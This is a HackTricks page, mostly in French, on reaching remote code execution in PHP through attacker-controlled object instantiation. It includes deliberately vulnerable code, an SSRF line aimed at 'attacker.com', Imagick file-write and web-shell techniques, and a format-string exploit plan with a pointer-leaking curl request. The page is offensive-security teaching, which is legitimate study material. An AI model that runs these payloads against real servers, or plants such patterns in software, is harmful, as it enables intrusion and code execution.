PHP - RCE abusing object creation: new $_GET“a”

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

This is basically a summary of https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Introduction

La création de nouveaux objets arbitraires, comme new $_GET["a"]($_GET["a"]), peut conduire à Remote Code Execution (RCE), comme détaillé dans un writeup. Ce document met en lumiÚre différentes stratégies pour obtenir une RCE.

RCE via classes personnalisées ou autoloading

La syntaxe new $a($b) est utilisĂ©e pour instancier un objet oĂč $a reprĂ©sente le nom de la classe et $b est le premier argument passĂ© au constructeur. Ces variables peuvent provenir d’entrĂ©es utilisateur comme GET/POST, oĂč elles peuvent ĂȘtre strings ou arrays, ou de JSON, oĂč elles peuvent apparaĂźtre sous d’autres types.

ConsidĂ©rez l’extrait de code ci-dessous:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

Dans cet exemple, dĂ©finir $a sur App ou App2 et $b sur une commande systĂšme (par ex., uname -a) entraĂźne l’exĂ©cution de cette commande.

Les fonctions d’autochargement peuvent ĂȘtre exploitĂ©es si aucune de ces classes n’est directement accessible. Ces fonctions chargent automatiquement des classes depuis des fichiers lorsque nĂ©cessaire et sont dĂ©finies en utilisant spl_autoload_register ou __autoload :

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Le comportement de l’autoloading varie selon les versions de PHP, offrant diffĂ©rentes possibilitĂ©s de RCE.

RCE via classes intégrées

En l’absence de classes personnalisĂ©es ou d’autoloaders, les classes PHP intĂ©grĂ©es peuvent suffire pour obtenir une RCE. Le nombre de ces classes varie entre 100 et 200, selon la version de PHP et les extensions. Elles peuvent ĂȘtre listĂ©es avec get_declared_classes().

Les constructeurs intĂ©ressants peuvent ĂȘtre identifiĂ©s via l’API de reflection, comme montrĂ© dans l’exemple suivant et le lien https://3v4l.org/2JEGF.

RCE via des méthodes spécifiques comprend :

SSRF + Phar Deserialization

La classe SplFileObject permet le SSRF via son constructeur, autorisant des connexions vers n’importe quelle URL :

new SplFileObject('http://attacker.com/');

SSRF peut conduire à des attaques de désérialisation dans les versions de PHP antérieures à 8.0 en utilisant le protocole Phar.

Exploiter les PDOs

Le constructeur de la classe PDO permet des connexions aux bases de donnĂ©es via des chaĂźnes DSN, pouvant potentiellement permettre la crĂ©ation de fichiers ou d’autres interactions :

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Versions de PHP jusqu’à 5.3.22 et 5.4.12 Ă©taient susceptibles d’attaques XXE via les constructeurs SoapClient et SimpleXMLElement, en fonction de la version de libxml2.

RCE via Imagick Extension

Lors de l’analyse des dĂ©pendances d’un projet, il a Ă©tĂ© dĂ©couvert que Imagick pouvait ĂȘtre exploitĂ© pour une exĂ©cution de commandes en instanciant de nouveaux objets. Cela prĂ©sente une opportunitĂ© d’exploiter des vulnĂ©rabilitĂ©s.

VID parser

La capacitĂ© du VID parser Ă  Ă©crire du contenu vers n’importe quel chemin spĂ©cifiĂ© dans le systĂšme de fichiers a Ă©tĂ© identifiĂ©e. Cela pourrait conduire au placement d’un PHP shell dans un rĂ©pertoire accessible depuis le web, aboutissant Ă  une Remote Code Execution (RCE).

VID Parser + File Upload

Il est notĂ© que PHP stocke temporairement les fichiers uploadĂ©s dans /tmp/phpXXXXXX. Le VID parser d’Imagick, utilisant le protocole msl, peut gĂ©rer les wildcards dans les chemins de fichiers, facilitant le transfert du fichier temporaire vers un emplacement choisi. Cette mĂ©thode offre une approche supplĂ©mentaire pour obtenir une Ă©criture de fichier arbitraire dans le systĂšme de fichiers.

PHP Crash + Brute Force

A method described in the original writeup involves uploading files that trigger a server crash before deletion. By brute-forcing the name of the temporary file, it becomes possible for Imagick to execute arbitrary PHP code. However, this technique was found to be effective only in an outdated version of ImageMagick.

Format-string in class-name resolution (PHP 7.0.0 Bug #71105)

Lorsqu’une entrĂ©e utilisateur contrĂŽle le nom de classe (par ex., new $_GET['model']()), PHP 7.0.0 a introduit un bug transitoire lors du refactor de Throwable oĂč le moteur traitait par erreur le nom de la classe comme une chaĂźne de format printf lors de la rĂ©solution. Cela permet les primitives classiques de style printf Ă  l’intĂ©rieur de PHP : leaks avec %p, contrĂŽle du compteur d’écriture avec des spĂ©cificateurs de largeur, et Ă©critures arbitraires avec %n contre des pointeurs en processus (par exemple, les GOT entries sur les builds ELF).

Minimal repro vulnerable pattern:

<?php
$model = $_GET['model'];
$object = new $model();

Plan d’exploitation (d’aprĂšs la rĂ©fĂ©rence) :

  • Leak des adresses via %p dans le nom de classe pour trouver une cible Ă©crivable :
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
  • Utiliser des paramĂštres positionnels et des spĂ©cificateurs de largeur pour dĂ©finir un nombre exact d’octets, puis %n pour Ă©crire cette valeur Ă  une adresse accessible sur la stack, en visant une entrĂ©e GOT (par ex., free) pour l’écraser partiellement vers system.
  • DĂ©clencher la fonction dĂ©tournĂ©e en passant un nom de classe contenant un shell pipe pour atteindre system("id").

Remarques :

  • Fonctionne uniquement sur PHP 7.0.0 (Bug #71105) ; corrigĂ© dans les versions suivantes. GravitĂ© : critique si une instanciation de classe arbitraire est possible.
  • Les payloads typiques enchaĂźnent de nombreux %p pour parcourir la stack, puis %.<width>d%<pos>$n pour effectuer l’écrasement partiel.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks